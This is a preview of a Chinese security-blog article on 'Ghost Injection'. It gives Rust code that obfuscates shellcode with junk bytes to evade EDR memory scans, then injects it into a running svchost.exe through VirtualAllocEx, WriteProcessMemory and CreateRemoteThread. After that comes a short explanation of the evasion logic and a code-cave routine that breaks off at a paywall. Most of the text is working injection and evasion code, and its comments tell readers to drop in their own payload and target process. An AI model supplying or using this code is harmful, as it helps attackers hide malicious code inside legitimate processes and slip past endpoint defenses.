freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

幽灵注入(Ghost Injection)
Hrlies 2025-03-19 17:01:11 66887
所属地 陕西省

新式内存驻留的实现

利用合法系统进程(如 svchost.exe、explorer.exe)的未使用内存页注入 shellcode,通过内存地址随机化+熵值混淆技术(如插入伪随机垃圾代码片段),规避 EDR 的内存扫描

之后我将使用Rust代码来呈现这一攻击技术:

use winapi::{
    ctypes::c_void,
    um::{
        memoryapi::{VirtualAllocEx, VirtualProtectEx, WriteProcessMemory},
        processthreadsapi::{CreateRemoteThread, OpenProcess},
        tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, TH32CS_SNAPPROCESS},
        winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE, PROCESS_ALL_ACCESS},
    },
};
use rand::Rng;
use std::{ffi::CString, mem::size_of, ptr};

// 混淆 shellcode 增加熵值
fn obfuscate_shellcode(shellcode: &[u8]) -> Vec<u8> {
    let mut rng = rand::thread_rng();
    let mut obfuscated = Vec::with_capacity(shellcode.len() * 2);

    // 插入随机垃圾指令(示例使用 NOP 和随机字节)
    for &byte in shellcode {
        obfuscated.push(byte);
        if rng.gen_bool(0.5) {  // 50% 概率插入垃圾
            obfuscated.extend(&[0x90; 4]);  // NOP 指令
            obfuscated.push(rng.gen());      // 随机字节
        }
    }
    obfuscated
}

// 查找目标进程 PID
unsafe fn find_pid(process_name: &str) -> Option<u32> {
    let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if snapshot.is_null() {
        return None;
    }

    let mut entry: winapi::um::tlhelp32::PROCESSENTRY32 = std::mem::zeroed();
    entry.dwSize = size_of::<winapi::um::tlhelp32::PROCESSENTRY32>() as u32;

    if Process32First(snapshot, &mut entry) == 0 {
        return None;
    }

    loop {
        let name = CString::from_vec_unchecked(entry.szExeFile.iter()
            .take_while(|&&c| c != 0)
            .map(|&c| c as u8)
            .collect());

        if name.to_string_lossy() == process_name {
            return Some(entry.th32ProcessID);
        }

        if Process32Next(snapshot, &mut entry) == 0 {
            break;
        }
    }
    None
}

// 注入主函数
fn ghost_inject(process_name: &str, shellcode: &[u8]) {
    // 混淆 shellcode
    let obfuscated = obfuscate_shellcode(shellcode);

    unsafe {
        // 查找目标进程
        let pid = find_pid(process_name).expect("Process not found");
        let process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);

        // 随机化内存分配(系统自动选择地址)
        let alloc_addr = VirtualAllocEx(
            process,
            ptr::null_mut(),
            obfuscated.len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        );

        // 写入内存
        let mut bytes_written = 0;
        WriteProcessMemory(
            process,
            alloc_addr,
            obfuscated.as_ptr() as *const _,
            obfuscated.len(),
            &mut bytes_written,
        );

        // 修改内存保护
        let mut old_protect = 0;
        VirtualProtectEx(
            process,
            alloc_addr,
            obfuscated.len(),
            PAGE_EXECUTE_READ,
            &mut old_protect,
        );

        // 创建远程线程(更隐蔽的方式应使用 APC)
        CreateRemoteThread(
            process,
            ptr::null_mut(),
            0,
            Some(std::mem::transmute(alloc_addr)),
            ptr::null_mut(),
            0,
            ptr::null_mut(),
        );
    }
}

fn main() {
    //这里的shellcode替换为你所使用的payload
    let shellcode = [0x90; 128]; 
    //这里的"svchost.exe"可以替换为目标机实际存活的其它exe
    ghost_inject("svchost.exe", &shellcode);
}

技术原理讲解

1. 内存扫描规避
  • 熵值混淆:通过插入随机 NOP 指令和垃圾字节,改变 shellcode 的熵值特征

  • 内存随机化:利用系统自动选择分配地址(ASLR),每次注入位置不同

  • 内存保护技巧:先分配为 PAGE_READWRITE,写入后改为 PAGE_EXECUTE_READ

2.进程选择策略
  • 使用系统关键进程(如 svchost.exe)

  • 通过进程快照(ToolHelp32)精确查找目标进程

3.隐蔽注入技术
  • 不依赖新线程创建(示例使用 CreateRemoteThread,实际应使用更隐蔽的 APC)

  • 内存操作全程使用合法 API 调用

增强方向

1.高级内存操作
// 使用更隐蔽的内存区域查找
unsafe fn find_code_cave(process: HANDLE) -> *mut c_void {
    let mut mbi: MEMORY_BASIC_INFORMATION = std::mem::zeroed();
    let mut addr = 0 as _;
    
    while VirtualQueryEx(process, addr, &mut mbi, size_of::<MEMORY_BASIC_INFORMATION>()) != 0 {
        if mbi.State == MEM_COMMIT 
            && mbi.Protect & (PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE) != 0 
            &&
可试读前30%内容
¥ 19.9 全文查看
9.9元开通FVIP会员
畅读付费文章
最低0.3元/天
# 系统安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Hrlies 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Rust后渗透测试那些事
Hrlies LV.3
学习使我进步
  • 4 文章数
  • 0 关注者
HrBeyondXSS开发记录(1)——前端框架payload
2025-03-24
量子注入(Quantum Injection)
2025-03-19
HrBeyondXSS开发记录(1)——payload
2025-03-19
文章目录